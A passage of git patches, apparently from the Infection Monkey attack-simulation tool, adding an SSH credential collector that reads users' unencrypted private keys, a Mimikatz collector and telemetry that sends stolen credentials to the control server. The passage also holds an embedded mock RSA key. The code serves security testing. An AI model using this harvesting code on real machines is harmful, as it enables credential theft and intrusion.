+ if identities != [] or secrets != []: + ssh_credentials.append(Credentials(identities, secrets)) return ssh_credentials From a97b8706ec39fb7192a9a78a91b1481c3e051129 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 17:29:21 +0100 Subject: [PATCH 0428/1110] Agent: Add SSH keypair credential type --- .../credential_components/ssh_keypair.py | 9 +++++++++ .../i_puppet/credential_collection/credential_type.py | 1 + 2 files changed, 10 insertions(+) create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py new file mode 100644 index 000000000..c23833681 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -0,0 +1,9 @@ +from dataclasses import dataclass, field + +from infection_monkey.i_puppet import CredentialType, ICredentialComponent + + +@dataclass(frozen=True) +class SSHKeypair(ICredentialComponent): + credential_type: CredentialType = field(default=CredentialType.SSH_KEYPAIR, init=False) + content: dict diff --git a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py index 98e6c0097..ef00f3732 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py @@ -6,3 +6,4 @@ class CredentialType(Enum): PASSWORD = 2 NT_HASH = 3 LM_HASH = 4 + SSH_KEYPAIR = 5 From 63d632d142e9c5504f4c701ef6242ed5a257c673 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 17:37:12 +0100 Subject: [PATCH 0429/1110] Agent: Rework ssh credential collector to match credential architecture * Parametrize empty result unit test * Apply small changes to ssh credential collector --- .../credential_collectors/__init__.py | 1 + .../ssh_collector/__init__.py | 2 +- .../ssh_collector/ssh_credential_collector.py | 15 ++++------ .../test_ssh_credentials_collector.py | 28 +++++++++---------- 4 files changed, 21 insertions(+), 25 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index a9d22a4c4..a5d48e466 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -2,4 +2,5 @@ from .credential_components.nt_hash import NTHash from .credential_components.lm_hash import LMHash from .credential_components.password import Password from .credential_components.username import Username +from .credential_components.ssh_keypair import SSHKeypair from .mimikatz_collector import MimikatzCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py index adc6a2dc5..d89d836f8 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py @@ -1 +1 @@ -from .SSH_credentials_collector import SSHCollector +from .ssh_credential_collector import SSHCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index 85a9c505a..aa9a52b72 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -1,12 +1,9 @@ import logging from typing import Dict, Iterable, List -from infection_monkey.credential_collectors import ( - SSHKeypair, - Username, -) -from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector +from infection_monkey.credential_collectors import SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import ssh_handler +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector logger = logging.getLogger(__name__) @@ -26,17 +23,17 @@ class SSHCredentialCollector(ICredentialCollector): @staticmethod def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: ssh_credentials = [] - identities = [] - secrets = [] for info in ssh_info: + identities = [] + secrets = [] - if "name" in info and info["name"] != "": + if info.get("name", ""): identities.append(Username(info["name"])) ssh_keypair = {} for key in ["public_key", "private_key"]: - if key in info and info.get(key) is not None: + if info.get(key) is not None: ssh_keypair[key] = info[key] if len(ssh_keypair): diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 45aff0878..a19434282 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -1,5 +1,8 @@ -from infection_monkey.credential_collectors import Credentials, SSHKeypair, Username -from infection_monkey.credential_collectors.ssh_collector import SSHCollector +import pytest + +from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors.ssh_collector import SSHCredentialCollector +from infection_monkey.i_puppet.credential_collection import Credentials def patch_ssh_handler(ssh_creds, monkeypatch): @@ -9,16 +12,13 @@ def patch_ssh_handler(ssh_creds, monkeypatch): ) -def test_ssh_credentials_empty_results(monkeypatch): - patch_ssh_handler([], monkeypatch) - collected = SSHCollector().collect_credentials() - assert [] == collected - - ssh_creds = [{"name": "", "home_dir": "", "public_key": None, "private_key": None}] +@pytest.mark.parametrize( + "ssh_creds", [([{"name": "", "home_dir": "", "public_key": None, "private_key": None}]), ([])] +) +def test_ssh_credentials_empty_results(monkeypatch, ssh_creds): patch_ssh_handler(ssh_creds, monkeypatch) - expected = [] - collected = SSHCollector().collect_credentials() - assert expected == collected + collected = SSHCredentialCollector().collect_credentials() + assert not collected def test_ssh_info_result_parsing(monkeypatch): @@ -48,14 +48,12 @@ def test_ssh_info_result_parsing(monkeypatch): ssh_keypair1 = SSHKeypair( {"public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey"} ) - ssh_keypair2 = SSHKeypair( - {"public_key": "AnotherPublicKey", "private_key": "NotSoGoodPrivateKey"} - ) + ssh_keypair2 = SSHKeypair({"public_key": "AnotherPublicKey"}) expected = [ Credentials(identities=[username], secrets=[ssh_keypair1]), Credentials(identities=[username2], secrets=[ssh_keypair2]), Credentials(identities=[username3], secrets=[]), ] - collected = SSHCollector().collect_credentials() + collected = SSHCredentialCollector().collect_credentials() assert expected == collected From 5f8e3e3d8e19df126e2f5809c0d74e9c60014646 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 18:23:29 +0100 Subject: [PATCH 0430/1110] Agent: Use Telemetry messenger to send SSH collector telemetries --- .../ssh_collector/ssh_credential_collector.py | 6 ++++- .../ssh_collector/ssh_handler.py | 25 ++++++++++++------- .../test_ssh_credentials_collector.py | 17 +++++++++---- 3 files changed, 33 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index aa9a52b72..bdcc56098 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -4,6 +4,7 @@ from typing import Dict, Iterable, List from infection_monkey.credential_collectors import SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import ssh_handler from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -13,9 +14,12 @@ class SSHCredentialCollector(ICredentialCollector): SSH keys credential collector """ + def __init__(self, telemetry_messenger: ITelemetryMessenger): + self._telemetry_messenger = telemetry_messenger + def collect_credentials(self, _options=None) -> List[Credentials]: logger.info("Started scanning for SSH credentials") - ssh_info = ssh_handler.get_ssh_info() + ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger) logger.info("Finished scanning for SSH credentials") return SSHCredentialCollector._to_credentials(ssh_info) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index a204550f5..8c635d92b 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -7,15 +7,16 @@ from typing import Dict, Iterable from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1145_telem import T1145Telem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) DEFAULT_DIRS = ["/.ssh/", "/"] -def get_ssh_info() -> Iterable[Dict]: +def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: home_dirs = _get_home_dirs() - ssh_info = _get_ssh_files(home_dirs) + ssh_info = _get_ssh_files(home_dirs, telemetry_messenger) return ssh_info @@ -51,7 +52,9 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict: } -def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: +def _get_ssh_files( + usr_info: Iterable[Dict], telemetry_messenger: ITelemetryMessenger +) -> Iterable[Dict]: for info in usr_info: path = info["home_dir"] for directory in DEFAULT_DIRS: @@ -79,12 +82,16 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: if private_key.find("ENCRYPTED") == -1: info["private_key"] = private_key logger.info("Found private key in %s" % private) - T1005Telem( - ScanStatus.USED, "SSH key", "Path: %s" % private - ).send() - T1145Telem( - ScanStatus.USED, info["name"], info["home_dir"] - ).send() + telemetry_messenger.send_telemetry( + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ) + ) + telemetry_messenger.send_telemetry( + T1145Telem( + ScanStatus.USED, info["name"], info["home_dir"] + ) + ) else: continue except (IOError, OSError): diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index a19434282..2762892bf 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -1,3 +1,5 @@ +from unittest.mock import MagicMock + import pytest from infection_monkey.credential_collectors import SSHKeypair, Username @@ -5,23 +7,28 @@ from infection_monkey.credential_collectors.ssh_collector import SSHCredentialCo from infection_monkey.i_puppet.credential_collection import Credentials +@pytest.fixture +def patch_telemetry_messenger(): + return MagicMock() + + def patch_ssh_handler(ssh_creds, monkeypatch): monkeypatch.setattr( "infection_monkey.credential_collectors.ssh_collector.ssh_handler.get_ssh_info", - lambda: ssh_creds, + lambda _: ssh_creds, ) @pytest.mark.parametrize( "ssh_creds", [([{"name": "", "home_dir": "", "public_key": None, "private_key": None}]), ([])] ) -def test_ssh_credentials_empty_results(monkeypatch, ssh_creds): +def test_ssh_credentials_empty_results(monkeypatch, ssh_creds, patch_telemetry_messenger): patch_ssh_handler(ssh_creds, monkeypatch) - collected = SSHCredentialCollector().collect_credentials() + collected = SSHCredentialCollector(patch_telemetry_messenger).collect_credentials() assert not collected -def test_ssh_info_result_parsing(monkeypatch): +def test_ssh_info_result_parsing(monkeypatch, patch_telemetry_messenger): ssh_creds = [ { @@ -55,5 +62,5 @@ def test_ssh_info_result_parsing(monkeypatch): Credentials(identities=[username2], secrets=[ssh_keypair2]), Credentials(identities=[username3], secrets=[]), ] - collected = SSHCredentialCollector().collect_credentials() + collected = SSHCredentialCollector(patch_telemetry_messenger).collect_credentials() assert expected == collected From 897bc11d7b2c6b47be7bb3fe387e04cd265a62cc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Feb 2022 18:37:16 +0100 Subject: [PATCH 0431/1110] Agent: Use distinct fields for SSH Keypair --- .../credential_components/ssh_keypair.py | 3 ++- .../ssh_collector/ssh_credential_collector.py | 6 +++++- .../test_ssh_credentials_collector.py | 6 ++---- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index c23833681..c5f377c44 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -6,4 +6,5 @@ from infection_monkey.i_puppet import CredentialType, ICredentialComponent @dataclass(frozen=True) class SSHKeypair(ICredentialComponent): credential_type: CredentialType = field(default=CredentialType.SSH_KEYPAIR, init=False) - content: dict + private_key: str + public_key: str diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py index bdcc56098..ce64221fb 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -41,7 +41,11 @@ class SSHCredentialCollector(ICredentialCollector): ssh_keypair[key] = info[key] if len(ssh_keypair): - secrets.append(SSHKeypair(ssh_keypair)) + secrets.append( + SSHKeypair( + ssh_keypair.get("private_key", ""), ssh_keypair.get("public_key", "") + ) + ) if identities != [] or secrets != []: ssh_credentials.append(Credentials(identities, secrets)) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 2762892bf..3727f8698 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -52,10 +52,8 @@ def test_ssh_info_result_parsing(monkeypatch, patch_telemetry_messenger): username2 = Username("mcus") username3 = Username("guest") - ssh_keypair1 = SSHKeypair( - {"public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey"} - ) - ssh_keypair2 = SSHKeypair({"public_key": "AnotherPublicKey"}) + ssh_keypair1 = SSHKeypair("ExtremelyGoodPrivateKey", "SomePublicKeyUbuntu") + ssh_keypair2 = SSHKeypair("", "AnotherPublicKey") expected = [ Credentials(identities=[username], secrets=[ssh_keypair1]), From 040b37697bd5c6fdd5079381711fd25781a2e001 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 11:41:22 -0500 Subject: [PATCH 0432/1110] Agent: Add telemetry type for sending stolen credentials --- .../common/common_consts/telem_categories.py | 1 + .../telemetry/credentials_telem.py | 40 +++++++++++++++++++ .../telemetry/test_credentials_telem.py | 37 +++++++++++++++++ 3 files changed, 78 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/credentials_telem.py create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index c9d3f82bd..d1e931721 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -9,3 +9,4 @@ class TelemCategoryEnum: ATTACK = "attack" FILE_ENCRYPTION = "file_encryption" AWS_INFO = "aws_info" + CREDENTIALS = "credentials" diff --git a/monkey/infection_monkey/telemetry/credentials_telem.py b/monkey/infection_monkey/telemetry/credentials_telem.py new file mode 100644 index 000000000..5da7040d5 --- /dev/null +++ b/monkey/infection_monkey/telemetry/credentials_telem.py @@ -0,0 +1,40 @@ +import enum +import json +from typing import Dict, Iterable + +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialComponent +from infection_monkey.telemetry.base_telem import BaseTelem + + +class CredentialsTelem(BaseTelem): + telem_category = TelemCategoryEnum.CREDENTIALS + + def __init__(self, credentials: Iterable[Credentials]): + """ + Used to send information about stolen or discovered credentials to the Island. + :param credentials: An iterable containing credentials to be sent to the Island. + """ + self._credentials = credentials + + def get_data(self) -> Dict: + # TODO: At a later time we can consider factoring this into a Serializer class or similar. + return json.loads(json.dumps(self._credentials, default=_serialize)) + + +def _serialize(obj): + if isinstance(obj, enum.Enum): + return obj.name + + if isinstance(obj, ICredentialComponent): + # This is a workaround for ICredentialComponents that are implemented as dataclasses. If the + # credential_type attribute is populated with `field(init=False, ...)`, then credential_type + # is not added to the object's __dict__ attribute. The biggest risk of this workaround is + # that we might change the name of the credential_type field in ICredentialComponents, but + # automated refactoring tools would not detect that this string needs to change. This is + # mittigated by the call to getattr() below, which will raise an AttributeException if the + # attribute name changes and a unit test will fail under these conditions. + credential_type = getattr(obj, "credential_type") + return dict(obj.__dict__, **{"credential_type": credential_type}) + + return getattr(obj, "__dict__", str(obj)) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py new file mode 100644 index 000000000..a3d1e3f6f --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py @@ -0,0 +1,37 @@ +import json + +from infection_monkey.credential_collectors import Password, SSHKeypair, Username +from infection_monkey.i_puppet import Credentials +from infection_monkey.telemetry.credentials_telem import CredentialsTelem + + +def test_credential_telem_send(spy_send_telemetry): + username = "m0nkey" + password = "mmm" + public_key = "pub_key" + private_key = "priv_key" + + expected_data = [ + { + "identities": [{"username": username, "credential_type": "USERNAME"}], + "secrets": [ + {"password": password, "credential_type": "PASSWORD"}, + { + "private_key": "pub_key", + "public_key": "priv_key", + "credential_type": "SSH_KEYPAIR", + }, + ], + } + ] + + credentials = Credentials( + [Username(username)], [Password(password), SSHKeypair(public_key, private_key)] + ) + + telem = CredentialsTelem([credentials]) + telem.send() + + expected_data = json.dumps(expected_data, cls=telem.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "credentials" From 5953373125219543800484103c49d2c2e2a8b1bf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:03:47 -0500 Subject: [PATCH 0433/1110] Agent: Change order in i_puppet/__init__.py to prevent circular import --- monkey/infection_monkey/i_puppet/__init__.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index d6422ebc2..1c16f6df2 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -1,4 +1,10 @@ from .plugin_type import PluginType +from .credential_collection import ( + Credentials, + CredentialType, + ICredentialCollector, + ICredentialComponent, +) from .i_puppet import ( IPuppet, ExploiterResultData, @@ -10,9 +16,3 @@ from .i_puppet import ( UnknownPluginError, ) from .i_fingerprinter import IFingerprinter -from .credential_collection import ( - Credentials, - CredentialType, - ICredentialCollector, - ICredentialComponent, -) From 5b53984014c7a64120e0b18b323dd485c970258a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:11:27 -0500 Subject: [PATCH 0434/1110] Agent: Fix incorrect return type on PluginRegistry.get_plugin() --- monkey/infection_monkey/puppet/plugin_registry.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index 0e98ba2ef..2ec1e3900 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -1,5 +1,4 @@ import logging -from typing import Optional from infection_monkey.i_puppet import PluginType, UnknownPluginError @@ -28,7 +27,7 @@ class PluginRegistry: logger.debug(f"Plugin '{plugin_name}' loaded") - def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> Optional[object]: + def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> object: try: plugin = self._registry[plugin_type][plugin_name] except KeyError: From 419aa6fd84b46c2524980973bdce9db0299e4b26 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:14:45 -0500 Subject: [PATCH 0435/1110] Agent: Replace SysInfo w/ Credential collectors in IMaster and IPuppet --- monkey/infection_monkey/i_puppet/i_puppet.py | 16 +- .../infection_monkey/i_puppet/plugin_type.py | 2 +- .../master/automated_master.py | 25 +-- monkey/infection_monkey/master/mock_master.py | 26 +-- monkey/infection_monkey/monkey.py | 7 + monkey/infection_monkey/puppet/mock_puppet.py | 149 +++--------------- monkey/infection_monkey/puppet/puppet.py | 7 +- 7 files changed, 69 insertions(+), 163 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 69c128e68..cafc24f4d 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -2,9 +2,9 @@ import abc import threading from collections import namedtuple from enum import Enum -from typing import Dict, List +from typing import Dict, List, Sequence -from . import PluginType +from . import Credentials, PluginType class PortStatus(Enum): @@ -36,12 +36,14 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def run_sys_info_collector(self, name: str) -> Dict: + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: """ - Runs a system info collector - :param str name: The name of the system info collector to run - :return: A dictionary containing the information collected from the system - :rtype: Dict + Runs a credential collector + :param str name: The name of the credential collector to run + :param Dict options: A dictionary containing options that modify the behavior of the + Credential collector + :return: A sequence of Credentials that have been collected from the system + :rtype: Sequence[Credentials] """ @abc.abstractmethod diff --git a/monkey/infection_monkey/i_puppet/plugin_type.py b/monkey/infection_monkey/i_puppet/plugin_type.py index 4e20d7360..eddc179cd 100644 --- a/monkey/infection_monkey/i_puppet/plugin_type.py +++ b/monkey/infection_monkey/i_puppet/plugin_type.py @@ -2,8 +2,8 @@ from enum import Enum class PluginType(Enum): + CREDENTIAL_COLLECTOR = "CredentialCollector" EXPLOITER = "Exploiter" FINGERPRINTER = "Fingerprinter" PAYLOAD = "Payload" POST_BREACH_ACTION = "PBA" - SYSTEM_INFO_COLLECTOR = "SystemInfoCollector" diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 28994d673..aa26753db 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -8,9 +8,9 @@ from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.model import VictimHostFactory from infection_monkey.network import NetworkInterface +from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter from infection_monkey.utils.timer import Timer @@ -134,12 +134,12 @@ class AutomatedMaster(IMaster): logger.error(f"An error occurred while fetching configuration: {e}") return - system_info_collector_thread = create_daemon_thread( + credential_collector_thread = create_daemon_thread( target=self._run_plugins, args=( config["system_info_collector_classes"], - "system info collector", - self._collect_system_info, + "credential collector", + self._collect_credentials, ), ) pba_thread = create_daemon_thread( @@ -147,14 +147,14 @@ class AutomatedMaster(IMaster): args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), ) - system_info_collector_thread.start() + credential_collector_thread.start() pba_thread.start() # Future stages of the simulation require the output of the system info collectors. Nothing # requires the output of PBAs, so we don't need to join on that thread here. We will join on # the PBA thread later in this function to prevent the simulation from ending while PBAs are # still running. - system_info_collector_thread.join() + credential_collector_thread.join() if self._can_propagate(): self._propagator.propagate(config["propagation"], self._stop) @@ -168,12 +168,13 @@ class AutomatedMaster(IMaster): pba_thread.join() - def _collect_system_info(self, collector: str): - system_info_telemetry = {} - system_info_telemetry[collector] = self._puppet.run_sys_info_collector(collector) - self._telemetry_messenger.send_telemetry( - SystemInfoTelem({"collectors": system_info_telemetry}) - ) + def _collect_credentials(self, collector: str): + credentials = self._puppet.run_credential_collector(collector, {}) + + if credentials: + self._telemetry_messenger.send_telemetry(CredentialsTelem(credentials)) + else: + logger.debug(f"No credentials were collected by {collector}") def _run_pba(self, pba: Tuple[str, Dict]): name = pba[0] diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index ddb5ccffb..fa4087e82 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -3,11 +3,11 @@ import logging from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet, PortStatus from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.scan_telem import ScanTelem -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem logger = logging.getLogger() @@ -31,18 +31,18 @@ class MockMaster(IMaster): self._exploit() self._run_payload() - def _run_sys_info_collectors(self): - logger.info("Running system info collectors") - system_info_telemetry = {} - system_info_telemetry["ProcessListCollector"] = self._puppet.run_sys_info_collector( - "ProcessListCollector" - ) - self._telemetry_messenger.send_telemetry( - SystemInfoTelem({"collectors": system_info_telemetry}) - ) - system_info = self._puppet.run_sys_info_collector("LinuxInfoCollector") - self._telemetry_messenger.send_telemetry(SystemInfoTelem(system_info)) - logger.info("Finished running system info collectors") + def _run_credential_collectors(self): + logger.info("Running credential collectors") + + windows_credentials = self._puppet.run_credential_collector("MimikatzCredentialCollector") + if windows_credentials: + self._telemetry_messenger.send_telemetry(CredentialsTelem(windows_credentials)) + + ssh_credentials = self._puppet.run_sys_info_collector("SSHCredentialCollector") + if ssh_credentials: + self._telemetry_messenger.send_telemetry(CredentialsTelem(ssh_credentials)) + + logger.info("Finished running credential collectors") def _run_pbas(self): diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c0b5d17b3..7fc8d89b2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.credential_collectors import MimikatzCredentialCollector from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -193,6 +194,12 @@ class InfectionMonkey: def _build_puppet() -> IPuppet: puppet = Puppet() + puppet.load_plugin( + "MimikatzCollector", + MimikatzCredentialCollector(), + PluginType.CREDENTIAL_COLLECTOR, + ) + puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index ec3984685..a30cbf353 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,8 +1,10 @@ import logging import threading -from typing import Dict, List +from typing import Dict, List, Sequence +from infection_monkey.credential_collectors import LMHash, Password, SSHKeypair, Username from infection_monkey.i_puppet import ( + Credentials, ExploiterResultData, FingerprintData, IPuppet, @@ -25,133 +27,26 @@ class MockPuppet(IPuppet): def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: logger.debug(f"load_plugin({plugin}, {plugin_type})") - def run_sys_info_collector(self, name: str) -> Dict: - logger.debug(f"run_sys_info_collector({name})") - # TODO: More collectors - if name == "LinuxInfoCollector": - return { - "credentials": {}, - "network_info": { - "networks": [ - {"addr": "10.0.0.7", "netmask": "255.255.255.0"}, - {"addr": "10.45.31.103", "netmask": "255.255.255.0"}, - {"addr": "192.168.33.241", "netmask": "255.255.0.0"}, - ] - }, - "ssh_info": [ - { - "name": "m0nk3y", - "home_dir": "/home/m0nk3y", - "public_key": "ssh-rsa " - "AAAAB3NzaC1yc2EAAAADAQABAAABAQCqhqTJfcrAbTUPzQ+Ou9bhQjmP29jRBz00BAdvNu77Y1SwM/+wETxapv7QPG55oc04Y5qR1KaItcwz3Prh7Qe/ohP/I2mIhP5tDRNfYHxXaGtj58wQhFrkrUhERVvEvwyvb97RWPAtAJjWT8+S6ASjjvyUNHulFIjJ0Yptlj2fboeh1eETDQ4FKfofpgwmab110ct2500FOtY1MWqFgpRvV0EX8WgJoscQ5FnsJAn6Ueb3DnsrIDq1LtK1rmxGSiZwpgOCwvyC1FFfHeP+cfpPsS+G9pBSYm2VqR42QL1BJL1pm4wFPVrBDmzORVQRf35k6agL7loRlfmAt28epDi1 ubuntu@test\n", # noqa: E501 - "private_key": "-----BEGIN RSA PRIVATE KEY-----\n" - "MIIEpAIBAAKCAQEAqoakyX3KwG01D80PjrvW4UI5j9vY0Qc9NAQHbzbu+2NUsDP/\n" - "sBE8Wqb+0DxueaHNOGOakdSmiLXMM9z64e0Hv6IT/yNpiIT+bQ0TX2B8V2hrY+fM\n" - "Ew0OBSn6H6YMJmm9ddHLdudNBTrWNTFqhYKUb1dBF/FoCaLHEORZ7CQJ+lHm9w57\n" - 